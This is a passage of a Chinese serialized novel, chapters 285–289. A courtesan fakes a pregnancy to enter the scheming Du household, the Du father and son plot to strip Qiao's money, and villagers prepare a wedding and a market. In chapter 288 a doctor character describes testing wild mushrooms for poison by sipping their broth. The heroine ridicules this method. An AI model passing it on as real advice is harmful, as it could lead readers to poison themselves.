可她今日来就是为了打听,能当场看到杜有才的龌龊事,也算不虚此行了。 便顺着小桃红的话,追问道, “不是亲戚是啥?” “哎呀,婆婆快别问了,回头自会知道。” 小桃红甩着帕子掩住脸,做出一副不好意思说出口的羞涩样子,扭着腰往杜家走去。 姚嬷嬷没忍住,悄悄啐了口。 忸怩作态,恶心谁呢? 但脚下却一点也没耽搁,立刻跟了上去。 她今日换了衣服包了头,还用眉笔描粗了眉毛,扑了两层土色黄粉,还往鼻子旁粘了一颗黑痣。 打扮的跟个媒婆一样,就算乔氏看见也认不出来,更何况杜有才那个眼睛恨不得长在头顶的白眼狼。 小桃红叩响了院门,很快一个粗使婆子便走了出来。 第二百八十五章 男人都是贱骨头 婆子上下打量了一番,询问小桃红身份。 小桃红遮遮掩掩不肯说,只说找杜有才有要紧的事,让婆子把杜有才请出来。 婆子自然不肯,因着药材被扣的事,家里最近乱糟糟,主子们心情都不好,她才不上赶着触霉头呢。 小桃红也不恼,陪着笑,从袖袋里摸出一块碎银子塞到婆子手里。 婆子一摸银子不少,顿时眉开眼笑,转身就进去通报。 看的躲在墙角的姚嬷嬷眉头直皱,真是小门小户没规矩,连身份都没问清楚,居然就敢收银子去通报,乔氏这个当家主母真是废物的很。 没一会儿,杜有才从里头走了出来,看到小桃红找上门,脸色大变,立刻就要拽着她去旁边拐角无人处。 小桃红哪里肯,她之所以这么急着赶过来,是牛安打听到商会那个老东西准备捧秋荷当花魁。 据说京城那边现在都追捧才女,老东西觉得比起她这种风情万种的,贵人们会更喜欢秋荷那样冷冷清清有才情的。 捧秋荷当花魁,会给春香院带来更大的收益。 老东西是春香院幕后大股东,他要是决定捧秋荷,秋荷必然是下一届花魁。 她跟秋荷一向不对付,秋荷要是当了花魁,她在春香院里可没活路,不得不尽快为自己打算了。 尽管手腕被杜有才扯的有些疼,小桃红还是眉目含情,娇娇柔柔地贴了上去,怯怯道, “相公,轻点儿,别伤了奴家肚里的孩子。” 杜有才愣住了,难以置信看向小桃红的小腹,依然平坦无波,腰身还是盈盈一握。 再一盘算自己去岚县的日子,杜有才恼了,恨不得捏断小桃红的手腕,压低声音喝道, “我从岚县回来还不到二十天,你怀了谁的野种,居然胆敢赖在我的头上?” 小桃红瞬间红了眼眶,委屈无助道, “相公怎地这般冤枉奴家?奴家自从跟了你,满心满眼就只有你一个,再也留别的恩客过夜过。 为此,还挨了妈妈好一通打,打的奴家现在身上还都是伤,你居然还不相信奴家,呜呜呜.......” 小桃红哭的梨花带雨,抬手抹眼泪时不经意露出的手腕上,有一道暗色鞭痕。 杜有才虽不信,但还是忍不住拉过小桃红的胳膊,撩起她的衣袖看了看。 长长短短,深深浅浅的鞭痕,遍布藕白色的手臂。 不仅如此,透过松散的衣襟,也能看到脖颈下的暗色鞭痕。 这让杜有才不得不信了两分,但他还是觉得荒唐,风月场上的女子把避子汤当茶喝,哪儿能这么容易怀上? 更何况,即便怀上,这么早应该也看不出来吧? 小桃红既然敢来,就做足了万全的准备,呜呜咽咽道, “相公若是不信,只管带奴家去医馆把脉。 奴家的月事一般都是月初,这次迟迟不来,还胸口憋闷,不思饮食,奴家这才去医馆找了大夫看。 哪知居然有了身孕,大夫跟奴家说,孩子已经足月,脉象强劲有力,应是喜脉无疑。 相公知道,奴家上月因着身上不利落,除了你,没接过别的客。 自相公走后,奴家相思成疾,便是被妈妈打骂,也没再让别人近过身。 相公若是不肯要这个孩子,奴家,奴家也不忍为难相公。 就算再苦再难也会把孩子生下,独自抚养成人,只当全了咱们一场缘分。” 说到这儿,小桃红好似伤心欲绝,当即就要掩面离去。 杜有才本能抓住了小桃红,小桃红又好似获得了一丝希望,眼泪巴巴地看着杜有才。 杜有才脑子乱成一团,不知该如何是好。 小桃红说的有理有据,态度坚决到他不得不信。 他学过医,知道女子孕期的计算,并非是从行房那日起,而是从女子上一次月事结束。 若是小桃红的月事真是在月初,月中同他行房有了身孕,现在孕期还真就满一个月了。 可他刚哄好乔氏,就闹出外头有人还怀了身孕的事,乔氏定要恼怒。 万一闹将起来,不给他银子了怎么办? 他还指着骗乔氏把那对羊脂白玉镯子当了,趁着现在药材行情好,把家传医馆开起来呢。 爹都跟现在医馆里的坐堂大夫谈好了,等他们的医馆开起来,就来他们这里坐诊。 到时候,爹负责守铺子配药制药,他负责出去采买药材,趁着行情好,很快就能把生意做起来。 只要把生意做起来,他就不用再讨好乔氏,整日那么低三下四了。 想到此,杜有才狠了狠心,拽下腰间钱袋塞给小桃红,一脸哀伤无奈道, “是我对不住姑娘,让姑娘委屈了。 这孩子同你我怕是没有缘分,还请姑娘早些处理了吧。 这点银钱,姑娘拿去买些补品,好好调养一下身子。 姑娘还年轻,还有大好前程,犯不着为了我这样一个有妇之夫受这等委屈。” 小桃红气的差点哭不出来,男人就没一个好东西。 话说的有多好听,事干的就有多恶心。 打着为她好的名义,让她回岚县落胎,她要真是那种单纯痴情的傻姑娘,还真要被骗了。 随身携带的钱袋里能装几个钱,杜有才这个狗东西分明是把她当叫花子打发呢。 心里恨得牙痒痒,小桃红面上却不显露分毫。 她轻轻将钱袋推了回去,伤心地看着杜有才,落下一行清泪,哽咽说了声, “奴家,知道了,相公,保重。” 说完,摇摇欲坠般硬撑着福了福身,踉跄着转身离开。 只刚走出去两步,还是忍不住回头看了杜有才最后一眼。 那一眼的痴情,失望,黯然,伤心到惨白的脸,几乎站立不稳身子的颤抖,看的杜有才的心都揪成了一团。 混迹风月场上多年,像小桃红这样知情识趣,还对自己痴心一片的美人,他竟从未遇到过。 她连他的银子都不要,也不哭着闹着非要他负责,这若还不是真心,那什么才是真? 杜有才难得的涌起些许愧疚,但更多的还是对乔氏的不满。 若非她善妒又专横,容不得他多看旁人一眼,他怎舍得辜负美人痴心? 他都二十有二了,那可是他第一个孩儿啊! 真就这么舍了吗? 小桃红走的很慢,她在等,等杜有才心软,等他不舍,等他喊住她。 她才不会用死缠烂打的手段进入杜家,她六岁学艺,十三岁挂牌,十六岁当上花魁。 她什么样的男人没见过,男人都是贱骨头,越是上赶着,他们越是不知道珍惜。 女人若是放手了,他们反倒要追上来,就跟见了骨头的狗一样,不达目的誓不罢休。 她赌杜有才会舍不得,会喊住她。 果不其然,才走出去不到十步,身后就传来了杜有才的喊声, “等等,你,等一下!” 小桃红勾起了唇角,她就知道,杜有才是个蠢货。 姚嬷嬷见杜有才喊住了那个女子,俩人叽叽歪歪一通说,然后杜有才一脸郑重握着那女子的手叮嘱, “切记不可露出异样,要不,你我都没好果子吃。” “相公放心,奴家——” 小桃红刚要乖巧应下,见杜有才瞪眼,忙装作一脸懊恼,赶紧改口道, “是,表哥,妹妹记下了。” 杜有才满意笑了,忍不住捏了捏小桃红的手,带着些许挑逗低声道, “好表妹,你且放心住下,日后表哥定会好好疼你。” 小桃红娇羞不已,嗔怪瞪了杜有才一眼,惹的杜有才心里酥麻,手不由自主摩挲着小桃红的手。 两人携手往院里走去,姚嬷嬷听到杜有才吩咐守门婆子, “这是我老家来的表妹桃儿,以后就在府里住下了,你们都小心伺候着。” 婆子眼神复杂地看了眼小桃红,低头垂手应是。 姚嬷嬷看着杜有才带着那个假表妹进了院,婆子关上了院门,赶紧回去禀报。 第二百八十六章 父子合谋 姚嬷嬷本以为夫人听到此事定会大发雷霆,让她带人好好惩治杜有才一番。 哪知夫人听完,非但不生气,反倒对她道, “派人盯着点就是,不用理会,由着他们折腾。” 姚嬷嬷不解, “姑娘,我看那女子颇有手腕,绝非善类,表姑娘只怕不是对手啊。” “不是对手就对了,不让她吃尽苦头,她怎能看破杜家父子的真面目。 我以前啊,就是对她太好了,才把她惯的如此蠢笨糊涂。” 孙氏说着,咔嚓一剪刀,干脆利落地剪掉了海棠树上多余的花枝。 姚嬷嬷见状便没再多说什么,乔氏确实也该吃点苦头了,只是有点便宜杜有才那个无赖。 孙氏当然不会让杜有才得意太久,她咔嚓咔嚓又是几下,把树修剪成自己想要的样子。 左右看了看,觉得满意了,这才放下剪刀。 接过大丫鬟递过来的温热帕子,擦干净手,抿了口姚嬷嬷递到嘴边的香茶,孙氏淡淡道, “杜家父子眼皮浅又贪婪,他们会继续囤积药材,等着涨价大赚一笔。 你派人盯着,等他们采买的差不多了,就把咱们之前囤积的药材全部出手。 我要让他们赔个底朝天,从哪儿来回哪儿去。” 姚嬷嬷一听这话,抚掌笑道, “还是姑娘有办法,老奴就算是想破脑袋也想不出这样的好法子。 他们本来就是穷光蛋,要不是姑娘心善,他们只怕要去街上讨饭。 就是可惜了表姑娘的私房钱,怕是要被杜家父子给掏空了。” 孙氏冷哼一声道, “那也是她活该,你派人去当铺盯着点,别的也就罢了,姑母留下的首饰可别给弄坏了。” “姑娘放心,老奴这就去安排。” 姚嬷嬷巴不得看好戏,一点也不觉得累,转身就出去找人。 凌十三磨蹭到下午,终于从娘口中得到了确切消息。 得知小桃红假冒杜有才表妹住进了杜家,姚嬷嬷不仅安排了人盯着杜家小院,还派人盯着杜家父子,似乎要对他们下手了。 凌十三开心不已,在凌母的催促中,骑马赶往书院。 杜衡得知小桃红已经如他们所愿缠上了杜有才,知府夫人也准备对杜有才下手,不由松了口气。 不管最后结果如何,即便杜有才父子福大命大无事生还,短期内肯定顾不上他这边,他应该能过几天安稳日子了。 见凌十三和徐六几人还凑在一起嘀嘀咕咕,生怕他们玩上瘾,脑子一热又折腾什么事出来,杜衡赶忙提议道, “这次多谢大家帮忙,我无以为报,以后每日抽出半个时辰,帮大家巩固一下学业可好?” 徐六和牛安一听这话,立马找借口走人。 他俩就是来书院混日子的,读书什么的,还是算了吧。 考不好顶多被家里打一顿,每天被杜衡盯着学,他们会生不如死的。 凌十三也想跑,可他跟杜衡住一块儿,跑得了和尚跑不了庙。 马飞翼高兴坏了,他现在对杜衡是心服口服,能得他指点,再好不过。 于是,凌十三就悲催的被迫上进,跟着杜衡和马飞翼读书习字写文章,然后支着脑袋,听他们争论他怎么努力都听不懂的诗文经义。 对比杜衡这边的奋发图强,杜家可就不太平了。 杜家福傍晚回来得知杜有才居然干了这等糊涂事,气的险些吐血。 强忍怒气,把儿子叫来自己房间,关好门窗,确保四下无人后,杜家福才强忍着怒火,低声呵斥道, “胡闹!简直太胡闹了! 纸终究包不住火,若是被乔氏知道真相,闹到夫人那里,你我都要吃不了兜着走!” 杜有才不满抱怨道, “爹,夫人是铁了心要跟乔氏断亲。 知府大人明明抬抬手就能帮我们,却硬是不帮,你就算给夫人搬座金山也是无用!” 杜家福忍无可忍,瞪眼怒骂, “你懂个屁,乔氏毕竟是夫人亲表妹,她可能不会帮,但绝对不会不管。 你要真把乔氏惹恼了,她跑到夫人跟前哭天喊地寻死觅活,你看夫人管不管。” 杜有才想了想,有点慌了, “那,那现在怎么办?我已经领桃儿见过乔氏了。” “怎么办?还能怎么办?我不管你找什么借口,赶紧把人给我送走。” 杜家福气咻咻挥了下手,不耐烦道。 杜有才立刻拒绝, “不行,桃儿怀了我的孩子。” 杜家福气的额头青筋直跳,忍不住戳着杜有才脑门骂, “你个蠢货,你是男人,只要有权有势有钱,什么样的女人找不到? 到时候你想让谁给你生,生多少都行,区区一个娼妓肚子里的种,又算得了什么。 我们杜家的长子长孙,绝对不可以出自一个娼妓腹中,就连乔氏也不行!” 杜有才被骂的抬不起头,他也意识到了自己犯蠢,可还是舍不得小桃红。 不是因为小桃红的痴情,也不是因为她肚子里的孩子,而是小桃红藏在岚县老家的私房钱。 小桃红进了家,才悄悄告诉他,她为了给自己赎身,买通了大夫,谎称自己得了不治之症,只花了一点赎身钱,就离开了春香院。 她把这些年从恩客手里弄来的金银珠宝,都藏在了老家后院的桃树下。 本打算要是杜有才不认她和孩子,就回老家取出财物,找个偏僻村庄,独自把孩子抚养成人。 没想到杜有才这般有情有义,哪怕现在给不了她名分,也一定会想办法给她名分。 她觉得自己没看错人,就把这个秘密告诉了杜有才。 杜有才这才铁了心要把小桃红留下来,明知道会惹得乔氏不快,也迫不及待带她去见了乔氏,表达了自己无论如何也要照顾她的决心。 杜家福听杜有才这么一说,觉得儿子也没那么蠢。 要是这个小桃红手里真有金银珠宝,那留下她当个侍妾也不是不行,只不过—— 杜家福揪着胡须提出怀疑, “你确定小桃红真有了身孕?那孩子真是你的种? 她既然能买通大夫骗过老鸨,自然也能买通大夫骗你。” 杜有才觉得自己被亲爹看扁了,很是不满道, “爹,儿子今年都二十二了,又不是个小孩,怎会那么容易被人骗? 我亲自给她把的脉,她是真的怀上了,脉象强劲有力,可能是个男胎。” 说到这儿,杜有才不免有些得意。 小桃红说她一直有喝避子汤,只是上个月因着身子不爽利没接客,就停了。 他来春香院那日,她本不想接客,也没怎么打扮,只出来应个场,哪知就被他给瞧上了,非要包外场。 她也对他一见钟情,才破例跟他去了外头,几番颠鸾倒凤,忘乎所以,没成想就怀上了。 杜有才觉得自己天赋异禀,才会让阅男无数的小桃红一举得中,对自己死心塌地,宁愿不做花魁,倒贴钱也要跟着自己。 杜家福清楚杜有才的医术,治病救人肯定是不行,但普通脉象还是能摸出来的。 尤其像强劲有力的喜脉,几乎不会弄错。 但为了以防万一,他还是要亲自把脉才能放心。 若这小桃红真的怀了身孕,又对儿子一往情深,还愿意带着丰厚嫁妆过来做妾,那就成全儿子一回吧。 大不了等孩子生下来,要真是个带把的,就写在乔氏名下。 他总归是不会让杜家的长子长孙,在出身上被人说三道四的。 想通了这些后,杜家福便没再强硬反对了,杜有才自觉说服了亲爹,在小桃红面前很能抬起头来。 杜家福亲自给小桃红把了脉,确认她肚子里的孩子是老杜家的种后,就去找了马嬷嬷。 第二百八十七章 哄骗 马嬷嬷哄了乔香柳半晌,嘴皮子都快磨破了,也没哄住。 见到杜家福就是好一通抱怨,杜家福忙好声好气安抚了一番。 掏出在当铺低价买来的镯子,戴上她手上,把人哄开心后,这才缓缓道, “新婚夫妇正蜜里调油呢,丈夫突然从外面带个年轻貌美的女子回来,做妻子的心中介怀也是难免。 更何况乔氏本就是个敏感多疑的性子,想要劝她宽容大度只怕很难,不如帮她解决心头大患。” 马嬷嬷愣住,凑到杜家福耳边小声道, “有才说那女子怀了他的孩子,咱们背着他悄悄处理了,怕是不太好吧?” “你想哪儿去了?好歹一条人命,我怎会那般无情?” 杜家福嗔怪地捏了下马嬷嬷的手,学着她的样子,凑到她耳边小声道, “我啊,是让你劝劝乔氏,别一味跟有才使性子,让她把桃儿当成自家表妹,想办法给桃儿说个婆家,尽早把她嫁出去。” 马嬷嬷缩了缩被热气呼的发痒的脖子,娇嗔道, “说来说去,还不是要把那女人撵出去,你自己不好得罪亲儿子,就让我来当这个恶人。” 杜家福强忍不耐烦,紧了紧搂着马嬷嬷肩膀的手臂,假装生气道, “我对你的心,你当真不知?怎地总把我往坏了想? 我问你,想要把人嫁出去是不是得给人家准备嫁妆?准备嫁妆是不是需要银子? 乔氏是不是得想办法凑一笔银子,有银子才能请媒人打听,进而相看。 既然是相看,那总得双方看对眼,是不是得多相看几个才能定下? 你只要想办法让乔氏拿钱,再利用说亲拖上一段时日,等我们把铺子开起来,咱们哪儿还用得着看她脸色? 你啊,伺候了一辈子人,都这把年纪也该享享清福了。 等乔氏摆清了自己的位置,我让她日日在你跟前伺候,给你端茶倒水洗衣做饭可好?” 马嬷嬷被哄的喜不自禁,连连点头,全然没想过真到了那一日,她是不是也要跟乔香柳一样摆清自己的位置。 打发走马嬷嬷,杜家福嫌弃地拍了拍自己的衣襟。 死老婆子一把年纪还长的那么丑,每次还要他千般哄万般教,真是个废物。 等把乔氏手里的银钱搞到手,等铺子开起来,他非把这老婆子割了舌头卖去喂狗。 这辈子他都不想再看见这个死老婆子了,他的娘子该是丁白薇那样温柔秀美知书达理的人才对。 想到亡妻,杜家福忍不住眼眶湿润,若非世道艰难时运不济,他怎么舍得抛下娘子啊。 娘子对他才是一心一意,世上就再没有比娘子对他更好的人了。 被自己的一番痴情感动了,杜家福伤感了好一会儿这才去找杜有才,细细叮嘱了一番。 得知老爹不仅把事情办的峰回路转,还能从乔氏那里搞来银钱,杜有才悬着的心总算落回了实处。 回到屋内自然免不了要跟小桃红吹嘘显摆一番,小桃红被杜家父子的卑鄙无耻震惊了。 她自问不是个好人,来杜家也是冲着乔氏的背景和家财,但她再怎样,也做不到像杜家父子这般。 他们真的是要把乔氏敲骨吸髓吃干抹净啊! 看着还洋洋得意跟自己畅想着,等铺子开起来后如何如何的杜有才,小桃红只觉得后背发凉,果断放弃了原本的计划。 这个杜家的主母她可当不了,等弄到钱,她就赶紧走人。 什么怀孕,什么私房钱,都是她骗杜家父子的,可不能被他们发现了,不然就走不掉了。 马嬷嬷为了自己能早日享清福,用杜家福教的话,不遗余力劝说乔香柳。 乔香柳还真当马嬷嬷是为自己排忧解难,感动地靠在马嬷嬷怀里道, “奶娘,我就知道你最好了,除了你没人会这么为我着想。 你说的对,我不该纠结那个桃儿到底是什么来路,既然相公说了是表妹,那就只当表妹来处。 你明日就去请媒人来,赶紧把她嫁出去,我是一天也不想看见她了。” 见乔香柳终于采纳了自己的提议,马嬷嬷不由暗自得意,立刻引着她往下道, “姑娘别急,那贱人肚里还怀着孩子呢,哪儿那么容易嫁出去。 毕竟是姑爷的亲表妹,咱们若是胡乱给许配出去,只怕姑爷不喜。” 乔香柳嘟嘴,很是不满道, “我管他喜不喜,他都不跟我提前打声招呼,就把人带了回来,分明是没把我放在心里。” 说着说着,乔香柳忍不住又想哭了, “自打成了亲,他对我就一日不如一日,一出去就好些天,回来了也没个笑脸。 即便留下过夜,也是长吁短叹,我唱曲子逗他开心,他还嫌我烦。 呜呜呜,我都没怨他赔了那么多银子,他还嫌我不去找表姐帮忙,我现在哪儿还有脸去找表姐啊.......” 马嬷嬷心中叫苦不迭,又来了,又来了,这样的车轱辘话都说了快一天了,有完没完? 等她跟老杜成了亲,当了她婆婆,她要是再敢这么哭哭唧唧,看她不把她的嘴打烂! 心里恶狠狠幻想了下,马嬷嬷才忍下怒气,温声哄道, “姑娘也知道现在去找表小姐无用了,姑爷自然更加清楚为了娶你,多得罪知府大人和夫人。 即便如此,姑爷还是要同你成亲,这难道还不够痴心? 他在外头东奔西跑累死累活做生意为了什么? 还不是为了想多赚些钱,让你过上好日子,姑爷他做一切都是为了你啊! 你还嫌他没个笑脸,你怎么不想想他有多难。 姑娘,你也大了,该学着疼人了,这两口子成了亲,就得你疼我我疼你才能和和美美啊。” 见乔香柳还是一脸不情愿,马嬷嬷便一脸严肃沉声道, “姑娘,你别怪老婆子我说话难听,这男人啊,即便用情再深,娶媳妇也是要传宗接代的。 你这身子骨,唉,姑爷现在是不知道,他要是知道了,你可怎么办? 谁会要一个生不出来孩子的女人?” 乔香柳的脸色一下子变得惨白如纸,她咬着下唇,死死揪着手帕,泪如雨下。 她自小身子骨便弱,大夫倒也没说她一定怀不上。 但她跟前夫成亲那么久了一直没有孩子,跟杜有才成亲也一个来月了,依然没有动静。 她要是真的生不出来孩子,杜有才不会休了她吧? 马嬷嬷还在往乔香柳心口扎针, “生不出孩子的女人,就跟下不了蛋的母鸡一样,没人看得上。 所以姑娘,你千万别再任性了,得学着贤良一点,温柔一点,把姑爷的心给拢住了才行啊.......” 把下唇咬的几乎快出血了,乔香柳才缓缓点头,同意了马嬷嬷要典当首饰的提议。 打开首饰匣子,拿出自己心爱的羊脂白玉手镯,乔香柳恋恋不舍递给了马嬷嬷, “这对镯子当初买的时候花了上千两,怎么也能当个三五百两吧,你拿去当了,找个厉害的媒人。 同她说,我愿意出二百两陪嫁,让她赶紧给那个桃儿找个好人家,办得好,我重重赏她。” “姑娘放心,重赏之下必有勇夫,想来很快就能把那个贱人嫁出去了。” 看在钱的份上,马嬷嬷也不吝啬了,顺着乔香柳的性子,说了一通她爱听的话。 乔香柳心里这才觉得舒服了些,让马嬷嬷出去办事,自己看着匣子里越来越少的东西,心里止不住的发慌。 她这日子,怎么就过成这样了啊? 可嫁都嫁了,她又可能怀不上,还能怎么着啊? 只能走一步看一步了,唉。 石楼村,高娇娇收到杜衡让茶铺伙计捎来的口信时,正在山坡上开荒。 第二百八十八章 操办婚事 得知杜衡那头一切顺利,高娇娇很是高兴,他们现在还没实力跟杜有才彻底清算,先给他找点麻烦,收点利息也是好的。 高大壮见高娇娇笑呵呵,好奇询问杜衡捎回来什么口信。 高娇娇肯定不能说实话,就随口说杜衡考试考的不错,照这么下去,将来不仅不用交束脩,或许还能领到助学金。 高大壮等人一听这话也很高兴,纷纷夸赞杜衡是个读书的材料,将来一定前途无量。 听得不想在家里看高春花摆弄嫁妆,跟着来地里帮忙的刘小翠不由直撇嘴。 再有出息又能怎样,难道还能比得上她女婿? 哼,京城侯府那样的高门大户,杜衡这种泥腿子出身的人,跳脚也够不上。 没人注意到刘小翠的小动作,众人说说笑笑,继续开荒。 这些荒地是要用作药田的,杏林堂那边又来催了,稻田里的活儿忙完了,高大壮就带人赶紧开荒。 开荒这种力气活,自然少不了高娇娇。 在斜坡上牵牛犁地很是费力,忙活了半天她也累了,就去田埂上坐着歇会儿。 旁边长着几棵野李子树,树叶缝隙里透出已经指甲盖大小的李子,结的很密,看的人忍不住流口水。 高娇娇踮起脚,想摘一颗尝尝味儿,就听刘一手喊, “这玩意儿现在很苦,吃了容易拉肚子。” 贪嘴被抓包,高娇娇有点尴尬,嘴硬道, “我不吃,我就是觉得果子长的太密,想帮忙疏一下果。” 刘一手心知肚明,也不戳破,直接喊高娇娇, “你陪我去林子里采几朵马蹄包吧,那几朵特别大,我怕自己采不好。” 高娇娇心想,马蹄包能有多大,了不起碗口大,有啥采不好的? 结果跟着刘一手进了林子才发现,他特意留的这几朵马蹄包,每个都有脸盆那么大。 高娇娇也有点不敢上手了,这玩意儿要是不小心碰破了,那不得喷一头? “你还愣着干嘛?赶紧采了啊,这玩意儿不能再长了,保不齐哪天就自己爆了。” 刘一手自己不敢上手,催起人来倒是不客气的很。 高娇娇瞪了他一眼,想了想,直接采摘肯定不行,只能跟挖人参一样,连着土一起挖出来算了。 但挖出来只是第一步,最重要的一步是怎么把马蹄包完好无损带回去。 高娇娇想了想,让刘一手采摘一些嫩草和大点的树叶,厚厚地铺满背篓,再把马蹄包小心翼翼放进去。 刘一手见马蹄包没有破,很是满意,冲高娇娇竖起大拇指, “我就知道这活儿非你不可。” 高娇娇翻了个大白眼,啥非她不可,分明是别人都没空,她又是医馆的股东,这种费力不讨好的活儿除了她没人愿意做罢了。 把马蹄包采完,高娇娇见刘一手还不走,还在不远处翻啊翻,便好奇走了过去。 只见一个腐朽木桩底部,长着一簇亮黄色,看着像木耳和蘑菇杂交的奇怪东西,高娇娇忙一把拉起刘一手, “你不会想采吧,这玩意儿看着就像是有毒的,那么黄。” “不一定,有的颜色鲜艳的蘑菇也能吃。” 刘一手振振有词道, “蘑菇这种东西品种非常丰富,咱们对有毒没毒的了解十分浅薄。 以我的经验,只需把蘑菇煮熟,用小汤匙舀半勺汤一点一点的喝。 要是感觉麻口就是有毒,而且是剧毒,赶紧喝淡盐水漱口。 要是没反应就再来半勺,两个半勺后觉得麻口是重毒。 要是喝了两个半勺还没问题,就继续来一勺,两三勺后才觉得麻口是轻毒。 四五勺麻口是微毒,有毒的当然不能吃,但是试过了五勺都没事,就可以放心大胆的吃了。” 高娇娇嘴角抽了抽, “你一个大夫居然靠这种法子分辨有毒没毒?你就不能根据医书药经记载判断吗?” 刘一手反问道, “那医书药经上的记载,不也是先人尝出来的吗? 古有神农尝百草,咱们现在喝两口有毒的蘑菇汤又算得了什么?” 高娇娇........ 虽然很有道理,但她胆小怕死,所以这种事就让不怕死的人来吧。 不过,她还是得提醒刘一手一句, “你这样的,就别成亲了。” “为啥?” “免得祸害旁人。” “啊?” 刘一手不解挠头,他怎么就祸害旁人了? 不过他也没想要成亲啊,他觉得现在的日子很好,不向往媳妇孩子热炕头,那不是他所求。 高娇娇不关心刘一手毕生所求是什么,她只关心医馆什么时候能赚到钱,光指望附近乡民寻医问药,有点难。 对此,刘一手也很无奈, “我已经按你说的,配制出多子丸和保胎丸了,也免费赠予村中想要生子的妇人,还帮她们调理身子。 在外头行医的时候,也想方设法向旁人透露我们医馆擅长这方面。 可我毕竟是个男子,还过于年轻,年轻妇人若不是十分信任,根本不会来找我,我能怎么办?” 高娇娇叹了口气,还是需要一个契机,把刘一手的名气打出去啊。 杨老大夫年岁大了,老刘大夫腿脚不方便,医馆还是得指望刘一手。 实在不行,不往生子这上头努力了,往跌打损伤上努力努力? 可他们医馆这个位置,主治跌打损伤实在是没有优势,总不能指着城里有钱人断了胳膊伤了腿,大老远跑来找他们医治吧? 别人还没到,死半路上可就糟了。 周围这些穷苦百姓身上,实在赚不到什么钱。 而医馆最赚钱的就是保胎和外伤,还有就是不大能见光的帮男子重振雄风什么的,他们又干不了。 唉,正经路子赚钱就是慢,还是劫富来得快啊。 可他们又不能真去当土匪,愁的高娇娇晚饭都多吃了一碗,撑的难受。 离成亲的日子不到一个月了,姚春香忙的团团转。 婚姻大事,操办起来自然麻烦。 喜服、喜被、喜帐、枕头、枕巾、喜帕等新人身上和新房里的东西都准备好了,剩下的就是婚宴了。 高长天的意思是既然要办,就要办的风风光光,这可是落户之后的第一次喜宴,一定要让全村父老吃好喝好。 姚春香知道高长天这是存了借喜宴给大家伙鼓劲的意思,虽说已经落户,可大家的心还是没落到实处。 世道混乱,外面还打着仗,天还旱,地里的收成不知道会有多少,大家即便手里有钱,即便日子越过越好,依然心里不安稳。 要不然也不会这么久了都没人张罗婚嫁,要知道两村合并后,村里到了该说亲年岁的姑娘小伙子可不少。 相互打听的人挺多,真定下来的却一个也没有。 究其缘由,还是担心不能在这里安稳长久地生活下去,怕轻易定下,害人害己。 人心不定,哪能扎根? 高长天他们想稳定人心,想借这次喜宴给大家吃个定心丸,姚春香自然要积极配合。 她叫来罗子娘几个商量了一番,又请教了包括老王在内的几个当地德高望重的老人,终于定下了喜宴的菜单,敲定了喜宴的细节。 离成亲不到十天了,姚春香趁着吃饭,跟高长天最后再确定一下宴请宾客的名单。 既然大办,就不能只请村里的人,还要请外头的宾客。 桥下村相熟的人家,刻碑的师傅,岚县杏林堂的胡掌柜,还有打过好几次交道性情豪爽的酒楼掌柜....... 至于人家愿不愿意来,那是人家的事,他们只管把请柬送到了就行。 要是能借着这次喜宴拉近一下彼此的关系,自然最好;若是不能,他们也没什么损失。 除了这些,还有一些细枝末节也需要提前安排好。 成亲当天谁来充当全福人,谁来送亲,谁来迎亲,谁当司仪,谁负责迎客,谁来陪客,谁来送客........ 一桩桩一件件,都要事先安排好,才不会事到临头了手忙脚乱。 高娇娇光听他俩说,就头疼不已,不敢想要是让她来操办,她得烦成什么样。 第二百八十九章 都像骗子 哪知姚春香却说,成亲虽然麻烦,但喜事就是一下子的事,办完就完了,不像白事,那才叫个麻烦。 下葬前要停灵,要守灵,要封棺,安葬后要过头七、三七、五七、七七,要脱孝,要守孝。 一整套忙下来,是个人都要脱层皮。 高娇娇听得咂舌不已,暗暗庆幸她不用操心这些麻烦事,根本没意识到姚春香觉得她也该学了,才会同她说这么细。 姚春香晚上躺在床上,忍不住跟高长天念叨, “你说咱闺女是不是没好利索啊?我看她今天那样,是压根没往心里放。 她还当自己是个小姑娘呢,就没想过早晚她也得亲手操办这些。” 高长天丝毫没觉得有什么不对,还护短道, “咱闺女本来就还小着呢,就算咱们都老了,不还有老大老二老三呢嘛,哪儿就轮得着她亲手操办了?” “可这些事她也该学起来了啊,眼看小梅就要及笄了,她当大嫂的,将来小梅出嫁,小衡成亲,不都得她操办?” 姚春香不满高长天的态度,没好气道。 高长天打了个哈欠,含糊道, “那不有你呢嘛,你在旁边提点着,咱闺女那么聪明,一点就通,你快别瞎操心了。” “啥都指着我,我都这把年岁了,还能替她操心多久? 你啊,就知道惯着,也不好好教.......” 姚春香习惯性抱怨了起来,高长天转头就打起了呼噜,气的她没忍住,掐了他一把,也没把他给掐醒。 姚春香知道自己这是故意找茬,可她心里就是不得劲。 春花都要嫁人了,她闺女还守着寡呢。 杜松那个短命鬼,真是害人不浅,等忙完了春花的婚事,她得继续给闺女相看。 不能光听朱钰说的那些个,她就不信,整个岚县她还找不到一个好的了。 实在不行,她花钱去城里请媒人,去别的县,去并州府。 这次一定要挑个命大寿数长的,不能再委屈了闺女。 还得找个香火灵验的月老庙,好好烧香拜一拜,求月老发发善心,赶紧给她闺女牵来一个如意郎君。 高娇娇丝毫不知姚春香为了她的婚事,已经打算求助于鬼神之力了,开完荒种下药材后,她就去接着忙集市铺面的事了。 银钱充足,材料齐全,还不缺免费劳力,老师傅带着徒弟房子盖的十分顺利。 已经盖好了朱钰的两进院子,正在忙着铺设地龙修建花园,顺便教高二壮他们如何盖铺面。 高娇娇计划先盖十二间铺面,给已经定下的医馆、绣坊、杂货铺、肉铺、磨坊、豆腐坊、木工坊和铁匠坊使用。 等这些铺子开起来,集市上聚集的人再多一些,再在对面紧挨着桥边的地方,加盖一个长棚,租给长期摆摊的小贩使用。 然后再在河对岸也盖起来一排库房,不仅能租给摆摊的小贩,还能用作夏收秋收暂时存放粮食用。 这样集市就不仅仅能在赶集的日子开,平日里也能形成一条街道,聚拢人气。 朱钰不知从哪儿弄了本岚县县志,翻看一通,又掐算了好几次,同高娇娇说今年应该不会大旱,但保不齐会发生洪涝。 根据岚县县志,他们这段河道发生泄洪的可能性很小,因为地势高,河道宽,同下游落差大,即便河水暴涨,也不会冲到岸上。 但是如果下暴雨,对地里的粮食肯定会有影响,为了抢收,说不定来不及等到粮食完全成熟。 窑洞不适合存放没有湿粮,为了以防万一,他们最好提前盖几间通风朝阳的仓库。 高娇娇立刻就想到了河对岸的空地,离耕地近,朝向好,靠近路,搬运起来方便,盖好了闲置时期还能出租。 高长天觉得高娇娇和朱钰的担心不无可能,在那个地方盖库房一举两得很划算。 